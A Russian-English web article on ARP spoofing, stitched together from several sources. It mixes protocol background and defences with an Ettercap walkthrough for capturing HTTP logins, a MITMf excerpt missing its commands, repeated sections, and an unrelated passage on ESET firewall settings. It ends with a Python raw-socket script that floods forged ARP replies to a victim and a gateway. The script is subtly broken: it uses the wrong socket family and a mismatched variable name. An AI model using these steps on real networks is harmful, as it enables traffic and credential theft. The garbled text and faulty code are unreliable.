Реализация arp-спуфинга на python

Содержание:

Введение

Технологии канального уровня составляют основу локальных сетей, поэтому обеспечение безопасности их работы — краеугольный камень безопасности сети в целом, так как взломав её на этом уровне, злоумышленник получает возможности обойти меры защиты на вышележащих уровнях.

Задача активного атакующего — получить доступ к определённым ресурсам или нарушить нормальную работу сети (отказ в обслуживании). Можно считать, что злоумышленник находится в локальной сети или использует посредника для проведения атак. Обычно выполняются несколько атак вместе; успех одной может являться подготовкой базы для успешного проведения следующей.

В зависимости от результата успешной атаки, можно выделить несколько типов угроз:

  1. Спуфинг с целью прозрачного перехвата информации;
  2. Отказ в обслуживании какого-то ресурса системы;
  3. Несанкционированный доступ к участкам сети;
  4. Нарушение правильной работы сети или её участков.

Большинство атак не являются «искусственными», они основаны на стандартном поведении протоколов канального уровня, то есть возможность их проведения является следствием небрежного проектирования сетевой инфраструктуры.

What is the ARP Protocol

Address Resolution Protocol (ARP) is a protocol that enables network communications to reach a specific device on the network. ARP translates Internet Protocol (IP) addresses to a Media Access Control (MAC) address, and vice versa. Most commonly, devices use ARP to contact the router or gateway that enables them to connect to the Internet.

Hosts maintain an ARP cache, a mapping table between IP addresses and MAC addresses, and use it to connect to destinations on the network. If the host doesn’t know the MAC address for a certain IP address, it sends out an ARP request packet, asking other machines on the network for the matching MAC address. 

The ARP protocol was not designed for security, so it does not verify that a response to an ARP request really comes from an authorized party. It also lets hosts accept ARP responses even if they never sent out a request. This is a weak point in the ARP protocol, which opens the door to ARP spoofing attacks.

ARP only works with 32-bit IP addresses in the older IPv4 standard. The newer IPv6 protocol uses a different protocol, Neighbor Discovery Protocol (NDP), which is secure and uses cryptographic keys to verify host identities. However, since most of the Internet still uses the older IPv4 protocol, ARP remains in wide use.

Обнаружение и предотвращение ARP-спуфинга

Программы ArpON, arpwatch, BitCometAntiARP

Эти программы отслеживают ARP-активность на заданных интерфейсах. Могут обнаружить атаку ARP-spoofing, но не могут предотвратить её. Для предотвращения атаки требуется вмешательство администратора сети.

Организация VLAN

Если в локальной сети есть разделение на несколько VLAN, то атака ARP-spoofing может быть применена только к компьютерам, находящимся в одном VLAN. Идеальной ситуацией, с точки зрения безопасности, является наличие только одного компьютера и интерфейса маршрутизатора в одном VLAN. Атака ARP-spoofing для такого сегмента невозможна.

Использование статического ARP

Можно избежать атаки ARP-spoofing путём настраивания ARP-таблицы вручную. Тогда злоумышленник не сможет обновлять ARP-таблицы путём посылки ARP-ответов на интерфейсы компьютеров.

Использование шифрования

Для предотвращения атаки ARP-spoofing (как и любой атаки «человек посередине») в локальной сети можно использовать протоколы шифрования данных для защиты передаваемой информации от злоумышленника. Например такие протоколы, как PPPoE или IPSec.

Подмена DHCP сервера

Основная статья: DHCP snooping

DHCP server spoofing

Несмотря на то, что DHCP является протоколом прикладного уровня модели OSI, основная его работа сосредоточена на канальном уровне. Это означает, что возникновение проблем с его функционированием будет иметь последствия на одном из самых базовых уровней сети.

Первое сообщение DHCP Discover от клиента Host является широковещательным, то есть его получат все пользователи сети, в том числе сервер DHCP_server и злоумышленник Rogue. Они отправят свои ответы DHCP Offer клиенту, из которых он должен выбрать то, что его «устроит». По умолчанию в большинстве систем клиент выбирает первое пришедшее предложение, игнорируя остальные. Таким образом, открывается брешь: если ответ от Rogue придёт раньше, атака окажется успешной. Сервер может быть физически более удалён от клиента, чем злоумышленник, а также быть менее быстрым, поэтому вероятность успешной реализации атаки довольно высока.

Последствия:

  1. Злоумышленник может в своём ответе клиенту указать неправильные данные о сети, что приведёт к невозможности его дальнейшей работы, то есть будет реализован отказ в обслуживании.
  2. В большинстве случаев протокол DHCP предоставляет клиенту информацию о шлюзе по умолчанию. Таким образом, злоумышленник имеет возможность указать себя в качестве шлюза, что является реализацией атаки «человек посередине» на сетевом уровне.

Одно из решений — функция коммутатора, называемая DHCP Snooping, заключающаяся в следующем:

  1. Все порты коммутатора делятся на доверенные (trusted), к которым подключены DHCP сервера, и ненадёжные (untrusted);
  2. Сообщения, отправляемые DHCP серверами (DHCP Offer, Ack, Nack, LeaseQuery) и приходящие на ненадёжные порты, отбрасываются;
  3. Сообщения DHCP, приходящие на ненадёжные порты, которые содержат MAC-адрес, несовпадающий с MAC-адресом отправителя, отбрасываются;
  4. Сообщения DHCP, приходящие на ненадёжный порт и содержащие опцию 82, отбрасываются;
  5. Сообщения DHCP Discover рассылаются только по доверенным портам.

Атака ARP-spoofing

Описание атаки

Зеленое соединение — связь между M и N до применения ARP-spoofing. Красное соединение — связь между M и N после применения ARP-spoofing (все пакеты проходят через X)

  1. Два компьютера (узла) M и N в локальной сети Ethernet обмениваются сообщениями. Злоумышленник X, находящийся в этой же сети, хочет перехватывать сообщения между этими узлами. До применения атаки ARP-spoofing на сетевом интерфейсе узла M ARP-таблица содержит IP- и MAC-адреса узла N. Также на сетевом интерфейсе узла N ARP-таблица содержит IP- и MAC-адреса узла M.
  2. Во время атаки ARP-spoofing узел X (злоумышленник) отсылает два ARP-ответа (без запроса) — узлу M и узлу N. ARP-ответ узлу M содержит IP-адрес N и MAC-адрес X. ARP-ответ узлу N содержит IP-адрес M и MAC-адрес X.
  3. Так как компьютеры M и N поддерживают самопроизвольный ARP, то, после получения ARP-ответа, они изменяют свои ARP-таблицы, и теперь ARP-таблица M содержит MAC адрес X, привязанный к IP-адресу N, а ARP-таблица N содержит MAC адрес X, привязанный к IP-адресу M.
  4. Тем самым атака ARP-spoofing выполнена, и теперь все пакеты (трафик) между M и N проходят через X. К примеру, если M хочет передать пакет компьютеру N, то M смотрит в свою ARP-таблицу, находит запись с IP-адресом узла N, выбирает оттуда MAC-адрес (а там уже MAC-адрес узла X) и передает пакет. Пакет поступает на интерфейс X, анализируется им, после чего перенаправляется узлу N.

How to Detect an ARP Cache Poisoning Attack

Here is a simple way to detect that a specific device’s ARP cache has been poisoned, using the command line. Start an operating system shell as an administrator. Use the following command to display the ARP table, on both Windows and Linux:

arp -a

The output will look something like this:

Internet Address    Physical Address

192.168.5.1        00-14-22-01-23-45
192.168.5.201      40-d4-48-cr-55-b8
192.168.5.202      00-14-22-01-23-45

If the table contains two different IP addresses that have the same MAC address, this indicates an ARP attack is taking place. Because the IP address 192.168.5.1 can be recognized as the router, the attacker’s IP is probably 192.168.5.202.

To discover ARP spoofing in a large network and get more information about the type of communication the attacker is carrying out, you can use the open source Wireshark protocol.

Протокол ARP

Протокол ARP(Address Resolution Protocol или протокол разрешения адреса) — сетевой протокол, использующийся для связи IP-адреса устройства с его MAC-адресом, тем самым делая возможным связь между устройствами сетевого уровня локальной и глобальной сети.

Принцип работы

Пусть у нас есть две локальных сети Ethernet, соединенных маршрутизатором, и пусть узел первой локальной сети (узел A) хочет передать узлу второй локальной сети (узлу B) пакет. По протоколу IP определяется IP-адрес интерфейса маршрутизатора (IP1), к которому подключена локальная сеть 1, где находится узел А. Теперь, чтобы пакет инкапсулировать в кадр и передать на интерфейс маршрутизатора с адресом IP1, нужно знать MAC-адрес этого интерфейса. Далее начинается работа протокола ARP. Протокол ARP имеет на каждом сетевом интерфейсе компьютера или маршрутизатора свою ARP-таблицу, в которой записаны соответствия между IP-адресами и MAC-адресами
сетевых устройств. Пусть вначале все ARP-таблицы пусты. Далее:

  1. Протокол IP запрашивает у протокола ARP MAC-адрес интерфейса с адресом IP1.

    пример ARP-таблицы

  2. Протокол ARP проверяет свою ARP-таблицу и не находит MAC-адреса, соответствующего адресу IP1
  3. Тогда протокол ARP формирует ARP-запрос (смысл запроса -узнать MAC-адрес интерфейса по его IP -адресу), вкладывает его в кадр Ethernet и рассылает данный кадр широковещательно в локальной сети 1.
  4. Каждый интерфейс локальной сети 1 получает ARP-запрос и направляет его своему протоколу ARP.
  5. Если протокол ARP интерфейса нашел совпадение IP-адреса интерфейса с IP1, то ARP генерирует ARP-ответ (в данной ситуации это ARP маршрутизатора), который направляется запрашивающему узлу. В ARP-ответе содержится MAC-адрес интерфейса, на который нужно отправить кадр (в данном случае это интерфейс маршрутизатора, подключенный к локальной сети 1).
  6. Далее узел A передает кадр с инкапсулированным пакетом на соответствующий интерфейс маршрутизатора.

Уязвимости ARP

Протокол ARP является уязвимым — он не проверяет подлинности ARP-запросов и ARP-ответов. А так как сетевые интерфейсы на компьютерах поддерживают самопроизвольный ARP (ARP-ответ присылается на интерфейс устройства без необходимости), то как раз в таком случае возможна атака ARP-spoofing.

Приложение

Исходные тексты программ

  • Скачать icmp_redir.c

  • Скачать send_arp.c

Полная версия этой статьи в PDF формате: arp_icmp.pdf

Special Thanks:

  1. Господам Медведовскому И.Д., Семьянову П.В., Леонову Д.Г. ака dl за издание книги «Атака на Интернет», выдержки из которой использовались в качестве многих дополнений.
  2. А.Робачевскому за прекрасную книгу «Операционная система UNIX»
  3. XR за просмотр первоначального варианта статьи и выдачу пожеланий.
  4. KMINT21 за дополнение по защите FreeBSD.

Использованная литература:

  1. Статья Ю.Волобуева: http://www.securityfocus.com/data/library/arp_fun.txt

  2. Медведовский И.Д., Семьянов П.В., Леонов Д.Г. — «Атака на Интернет»,
  3. изд. второе, изд. ДМК, 1999 г.
  4. Робачевский А. — «Операционная система UNIX», изд BHV, 1997 г.
  5. Роберт Л. Зиглер — «Брандмауэры в Linux», 2000 г.

Defenses

Static ARP entries

The simplest form of certification is the use of static, read-only entries for critical services in the ARP cache of a host. IP address-to-MAC address mappings in the local ARP cache may be statically entered. Hosts don’t need to transmit ARP requests where such entries exist. While static entries provide some security against spoofing, they result in maintenance efforts as address mappings for all systems in the network must be generated and distributed. This does not scale on a large network since the mapping has to be set for each pair of machines resulting in n2-n ARP entries that have to be configured when n machines are present; On each machine there must be an ARP entry for every other machine on the network; n-1 ARP entries on each of the n machines.

ARP spoofing detection and prevention software

AntiARP also provides Windows-based spoofing prevention at the kernel level. ArpStar is a Linux module for kernel 2.6 and Linksys routers that drops invalid packets that violate mapping, and contains an option to repoison/heal.

Some virtualized environment such as KVM also provides security mechanism to prevent MAC spoofing between guest running on the same host.

Additionally some ethernet adapters provides MAC and VLAN anti-spoofing features.

OpenBSD watches passively for hosts impersonating the local host and notifies in case of any attempt to overwrite a permanent entry

OS security

Operating systems react differently. Linux ignores unsolicited replies, but, on the other hand, uses responses to requests from other machines to update its cache. Solaris accepts updates on entries only after a timeout. In Microsoft Windows, the behavior of the ARP cache can be configured through several registry entries under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, ArpCacheLife, ArpCacheMinReferenceLife, ArpUseEtherSNAP, ArpTRSingleRoute, ArpAlwaysSourceRoute, ArpRetryCount.

ARP Poisoning − Exercise

In this exercise, we have used BetterCAP to perform ARP poisoning in LAN environment using VMware workstation in which we have installed Kali Linux and Ettercap tool to sniff the local traffic in LAN.

For this exercise, you would need the following tools −

  • VMware workstation
  • Kali Linux or Linux Operating system
  • Ettercap Tool
  • LAN connection

Note − This attack is possible in wired and wireless networks. You can perform this attack in local LAN.

Step 1 − Install the VMware workstation and install the Kali Linux operating system.

Step 2 − Login into the Kali Linux using username pass “root, toor”.

Step 3 − Make sure you are connected to local LAN and check the IP address by typing the command ifconfig in the terminal.

Step 4 − Open up the terminal and type “Ettercap –G” to start the graphical version of Ettercap.

Step 5 − Now click the tab “sniff” in the menu bar and select “unified sniffing” and click OK to select the interface. We are going to use “eth0” which means Ethernet connection.

Step 6 − Now click the “hosts” tab in the menu bar and click “scan for hosts”. It will start scanning the whole network for the alive hosts.

Step 7 − Next, click the “hosts” tab and select “hosts list” to see the number of hosts available in the network. This list also includes the default gateway address. We have to be careful when we select the targets.

Step 8 − Now we have to choose the targets. In MITM, our target is the host machine, and the route will be the router address to forward the traffic. In an MITM attack, the attacker intercepts the network and sniffs the packets. So, we will add the victim as “target 1” and the router address as “target 2.”

In VMware environment, the default gateway will always end with “2” because “1” is assigned to the physical machine.

Step 9 − In this scenario, our target is “192.168.121.129” and the router is “192.168.121.2”. So we will add target 1 as victim IP and target 2 as router IP.

Step 10 − Now click on “MITM” and click “ARP poisoning”. Thereafter, check the option “Sniff remote connections” and click OK.

Step 11 − Click “start” and select “start sniffing”. This will start ARP poisoning in the network which means we have enabled our network card in “promiscuous mode” and now the local traffic can be sniffed.

Note − We have allowed only HTTP sniffing with Ettercap, so don’t expect HTTPS packets to be sniffed with this process.

Step 12 − Now it’s time to see the results; if our victim logged into some websites. You can see the results in the toolbar of Ettercap.

This is how sniffing works. You must have understood how easy it is to get the HTTP credentials just by enabling ARP poisoning.

ARP Poisoning has the potential to cause huge losses in company environments. This is the place where ethical hackers are appointed to secure the networks.

Like ARP poisoning, there are other attacks such as MAC flooding, MAC spoofing, DNS poisoning, ICMP poisoning, etc. that can cause significant loss to a network.

In the next chapter, we will discuss another type of attack known as DNS poisoning.

Previous Page
Print Page

Next Page  

ARP spoofing using MITMf

In this section, you’ll use a tool called MITMf, and as the name suggests, this
tool allows you to run a number of MITM attacks. You’ll run the tool, see how to
use it, and then do a basic ARP poisoning attack, exactly like in the previous
section.

You’ll also use your Ethernet internal virtual cards instead of the Wi-Fi card
so that you can actually run these attacks against Wi-Fi or wired networks.
Connect it to the network and the target network, and then perform the attack
like you did with arpspoof. Alternatively, you can do it using an Ethernet
virtual card.

If you do ifconfig just to see your interfaces, you’ll see that you have
the eth0 card connected to the internal network at 10.0.2.15:

Now, go to the Windows machine and run arp -a to see your MAC address. You’ll
see that the the gateway is at 10.0.2.1 and the MAC address ends with 35-00:

Now, run the ARP poisoning attack and see whether the MAC address changes and
whether you can become the MITM.

To use MITMf, you’ll have to insert a command and then tell it to perform ARP
poisoning. Next, give it the gateway (the IP of the router), the IP of your
target, and the interface. Use the following command to get started:

If you don’t specify a target, it will default the entire network and subnet.
The interface specifies your virtual interface, but you can specify your
wireless card if it’s connected to the wireless network. So, hit Enter to get
the tool running:

Now go to the Windows machine, run arp -a, and see whether you’ve managed to
become the center of the connection. In the next screenshot, you can see that
the MAC address has changed from 35-00 to 91-66, and it is the same MAC address
as the virtual interface that you have in Kali, so it ends with 91-66:

So, this means that you’re the MITM at the moment, and the tool automatically
starts a sniffer for you. So, instead of arpspoof, which only places you in the
middle, this tool actually starts a sniffer, which captures the data that is
sent by the devices in your network.

Now go to an HTTP website to see how to capture a username and password. On a
Windows machine, go to a website called Hack.me; then, go to the login page to
log into an account while the MITM attack is running.

So, basically, you can capture any username and password that is entered in the
computer that you’re ARP spoofing. You can also see all the URLs that the person
has requested. So, here, you can see that they requested me.hack.me.

A practical example

Alice is a security researcher, and she wants to intercept and record all
traffic between her own phone and the LAN router.

Her machine is already on the same LAN as the phone, and she knows the IP
addresses of both the phone and of the router.

Alice will attempt to make her laptop pose as the router in order for the phone
to send all its traffic to the laptop.

If she succeeds, the phone will start sending traffic marked for the router
() to Alice’s machine, which (by default) will ignore the packets
because they have a different destination, in order to instruct her machine to
forward the packets to the legitimate destination instrad of dropping them
Alice does something like:

Besides just forwarding packets between the target and the router, Alice also
wants to eavesdrop the traffic between the target and the router:

At this point Alice hasn’t started yet and the phone’s ARP table still
looks like this:

Now she’s ready to use :

tells to inject packets via the network interface, tells to send unsolicited ARP replies to the
phone () posing as the router ().

After a few seconds, the phone’s ARP table will get altered and the phone will
think Alice’s machine is the router:

Finally, she takes the phone and goes to , starts
showing traffic:

Обнаружение и предотвращение ARP-спуфинга

Программы arpwatch, BitCometAntiARP

Эти программы отслеживают ARP-активность на заданных интерфейсах. Могут обнаружить атаку ARP-spoofing, но не могут предотвратить её. Для предотвращения атаки требуется вмешательство администратора сети.

Организация VLAN

Если в локальной сети есть разделение на несколько VLAN, то атака ARP-spoofing может быть применена только к компьютерам, находящимся в одном VLAN. Идеальной ситуацией, с точки зрения безопасности, является наличие только одного компьютера и интерфейса маршрутизатора в одном VLAN. Атака ARP-spoofing для такого сегмента невозможна.

Использование статического ARP

Можно избежать атаки ARP-spoofing путём настраивания ARP-таблицы вручную. Тогда злоумышленник не сможет обновлять ARP-таблицы путём посылки ARP-ответов на интерфейсы компьютеров.

Использование шифрования

Для предотвращения атаки ARP-spoofing (как и любой атаки «человек посередине») в локальной сети можно использовать протоколы шифрования данных для защиты передаваемой информации от злоумышленника. Например такие протоколы, как PPPoE или IPSec.

Параметры в этой группе предназначены для облегчения настройки доступа к службам этого компьютера из доверенной зоны. С помощью многих из них можно включить или отключить предопределенные правила файервола.

•Разрешить общий доступ к файлам и принтерам в доверенной зоне: позволяет открыть доступ к файлам и принтерам общего доступа c удаленных компьютеров, расположенных в доверенной зоне.

•Разрешить UPNP для системных служб в доверенной зоне: разрешает протоколы UPnP входящих и исходящих запросов для системных служб. Технология UPnP (Universal Plug and Play, также известная как Microsoft Network Discovery) используется в Windows Vista и более поздних версиях операционной системы.

•Разрешить входящие соединения RPC в доверенной зоне: позволяет устанавливать TCP-соединения из доверенной зоны, предоставляя доступ к программе сопоставления портов MS RPC Portmapper и службам RPC/DCOM.

•Разрешить удаленный рабочий стол в доверенной зоне: позволяет подключаться по протоколу удаленного рабочего стола Microsoft (RDP) и предоставляет компьютерам в доверенной зоне доступ к вашему компьютеру с помощью программы, которая использует протокол RDP (например, программы для подключения к удаленному рабочему столу).

•Разрешить вход в многоадресные группы по протоколу IGMP: разрешает входящие и исходящие многоадресные потоки IGMP и входящие многоадресные потоки UDP, например потоковую передачу видеоданных, созданных программами, которые используют протокол IGMP (протокол управления группами Интернета).

•Разрешить соединенные мостом подключения: установите этот флажок, чтобы запретить обрыв соединений типа «мост».

•Разрешить приложения Metro: для приложений Магазина Windows, запущенных в среде Metro, разрешен обмен данными в соответствии с манифестом приложения Metro. Этот параметр переопределяет все правила и исключения для приложений Metro независимо от того, какой режим выбран для файервола ESET: интерактивный или на основе политики.

•Разрешить автоматическое обнаружение веб-служб (WSD) для системных служб в доверенной зоне: разрешает входящие запросы обнаружения веб-служб из доверенных зон через файервол. WSD — это протокол, используемый для обнаружения служб в локальной сети.

•Использовать разрешение групповых адресов в доверенной зоне (LLMNR): LLMNR (Link-local Multicast Name Resolution) — это протокол на основе пакетов DNS, который разрешает и узлам IPv4, и узлам IPv6 выполнять разрешение имен для узлов по той же локальной ссылке без необходимости в DNS-сервере или настройке клиента DNS. Этот параметр разрешает входящие многоадресные DNS-запросы из доверенной зоны через файервол.

•Поддержка домашних групп Windows: включает поддержку домашних групп для Windows 7 и более поздних версий операционной системы. Домашняя группа может использовать общий доступ к файлам и принтерам в домашней сети. Для настройки домашней группы воспользуйтесь меню Пуск > Панель управления > Сеть и Интернет > Домашняя группа.

Протокол ARP

Протокол ARP(Address Resolution Protocol или протокол разрешения адреса) — сетевой протокол, использующийся для определения MAC-адреса узла в сети по IP-адресу, тем самым делая возможным связь между устройствами сетевого уровня локальной и глобальной сети.

Принцип работы

Пусть у нас есть две локальных сети Ethernet, соединенных маршрутизатором, и пусть узел первой локальной сети (узел A) хочет передать узлу второй локальной сети (узлу B) пакет. По протоколу IP определяется IP-адрес интерфейса маршрутизатора (IP1), к которому подключена локальная сеть 1, где находится узел А. Теперь, чтобы пакет инкапсулировал в кадр и передал на интерфейс маршрутизатора с адресом IP1, нужно знать MAC-адрес этого интерфейса. Далее начинается работа протокола ARP. Протокол ARP имеет на каждом сетевом интерфейсе компьютера или маршрутизатора свою ARP-таблицу, в которой записаны соответствия между IP-адресами и MAC-адресами
сетевых устройств. Пусть вначале все ARP-таблицы пусты. Далее:

  1. Протокол IP запрашивает у протокола ARP MAC-адрес интерфейса с адресом IP1.

    пример ARP-таблицы

  2. Протокол ARP проверяет свою ARP-таблицу и не находит MAC-адреса, соответствующего адресу IP1
  3. Тогда протокол ARP формирует ARP-запрос (смысл запроса -узнать MAC-адрес интерфейса по его IP -адресу), вкладывает его в кадр Ethernet и рассылает данный кадр широковещательно в локальной сети 1.
  4. Каждый интерфейс локальной сети 1 получает ARP-запрос и направляет его своему протоколу ARP.
  5. Если протокол ARP интерфейса нашел совпадение IP-адреса интерфейса с IP1, то ARP генерирует ARP-ответ (в данной ситуации это ARP маршрутизатора), который направляется запрашивающему узлу. В ARP-ответе содержится MAC-адрес интерфейса, на который нужно отправить кадр (в данном случае это интерфейс маршрутизатора, подключенный к локальной сети 1).
  6. Далее узел A передает кадр с инкапсулированным пакетом на соответствующий интерфейс маршрутизатора.

Уязвимости ARP

Протокол ARP является уязвимым — он не проверяет подлинности ARP-запросов и ARP-ответов. А так как сетевые интерфейсы на компьютерах поддерживают самопроизвольный ARP (ARP-ответ присылается на интерфейс устройства без необходимости), то как раз в таком случае возможна атака ARP-spoofing.

Anatomy of an ARP spoofing attack

The basic principle behind ARP spoofing is to exploit the lack of authentication in the ARP protocol by sending spoofed ARP messages onto the LAN. ARP spoofing attacks can be run from a compromised host on the LAN, or from an attacker’s machine that is connected directly to the target LAN.

Generally, the goal of the attack is to associate the attacker’s host MAC address with the IP address of a target host, so that any traffic meant for the target host will be sent to the attacker’s host. The attacker may choose to inspect the packets (spying), while forwarding the traffic to the actual default destination to avoid discovery, modify the data before forwarding it (man-in-the-middle attack), or launch a denial-of-service attack by causing some or all of the packets on the network to be dropped.

Legitimate usage

The techniques that are used in ARP spoofing can also be used to implement redundancy of network services. For example, some software allows a backup server to issue a in order to take over for a defective server and transparently offer redundancy. There are two companies known to-date that have tried to commercialize products centered around this strategy, Disney Circle and CUJO. The latter has recently run into significant problems with its ARP-spoofing strategy in consumer’s homes; they have now completely removed that capability and replaced it with a DHCP-based strategy.

ARP spoofing is often used by developers to debug IP traffic between two hosts when a switch is in use: if host A and host B are communicating through an Ethernet switch, their traffic would normally be invisible to a third monitoring host M. The developer configures A to have M’s MAC address for B, and B to have M’s MAC address for A; and also configures M to forward packets. M can now monitor the traffic, exactly as in a man-in-the-middle attack.

Implementation using Python

In this section, we will understand Python implementation of ARP spoofing. For this, we need three MAC addresses — first of the victim, second of the attacker and third of the gateway. Along with that, we also need to use the code of ARP protocol.

Let us import the required modules as follows −

import socket
import struct
import binascii

Now, we will create a socket, which will have three parameters. The first parameter tells us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us if it is a raw socket and the third parameter tells us about the protocol we are interested in (here 0x0800 used for IP protocol).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

We will now provide the mac address of attacker, victim and gateway machine −

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

We need to give the code of ARP protocol as shown −

code ='\x08\x06'

Two Ethernet packets, one for victim machine and another for gateway machine have been crafted as follows −

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

The following lines of code are in order as per accordance with the ARP header −

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Now we need to give the IP addresses of the gateway machine and victim machines (Let us assume we have following IP addresses for gateway and victim machines) −

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Convert the above IP addresses to hexadecimal format with the help of the socket.inet_aton() method.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Execute the following line of code to change the IP address of gateway machine.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Атаки против коммутатора

См. также: Сетевой коммутатор и Сетевой концентратор

Коммутаторы для своей работы постоянно используют таблицу MAC адресов, называемую также мостовой таблицей. Это улучшение по сравнению с функционированием концентраторов позволяет снизить объём широковещательного трафика в сети. Однако мостовая таблица не является бесконечной. Один из видов атак направлен на переполнение таблицы MAC-адресов, что приводит к снижению скорости передачи пользовательского трафика вплоть до полной неработоспособности сети.

Стандартным решением этой проблемы является ограничение количества обрабатываемых MAC-адресов для каждого порта коммутатора. Деление физической сети на несколько виртуальных уменьшает масштаб проблемы и облегчает её диагностику, а также позволяет более оперативно восстановить функциональность сети.

Выводы

  • Фильтрация по MAC-адресу. Не полагайтесь на неё. От взломщика это не спасет. От студента, который хочет попользоваться интернетом за ваш счёт – тоже, он просто сменит MAC-адрес на любой из подслушанных.
  • ARP-spoofing. От него можно защититься даже на SOHO роутере. Например для популярного девайса Dlink DIR-300/320 можно включить Guest Zone, которая изолирует клиентов друг от друга.
  • MITM. Не пользуйтесь незащищёнными средствами связи (например ICQ передает пароль открытым текстом, vk.com тоже, кажется, до сих пор так делает. UPD: ICQ и vk уже используют SSL для аутентификации). Если нужно скачать инсталлятор, качайте его по https. Если он раздается только по http, то проверьте после скачивания цифровую подпись файла. Если цифровой подписи нет, то сверьте контрольные суммы с указанными на сайте (желательно контрольные суммы на сайте смотреть по другому интернет-каналу).
  • Антивирус. Не полагайтесь на него, человек всегда будет умнее программы. Не знаю, как бы тут поступил другой антивирус, но Microsoft Security Essentials, стоящий на компьютере жертвы, на все вышеописанные манипуляции никак не отреагировал.
  • Мораль. Повторю совет из первой части: не будьте «плохим парнем», может быть ваш сосед как раз ищет себе жертву.
Текст подготовлен в Хабра Редакторе от SoftCoder.ru
Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector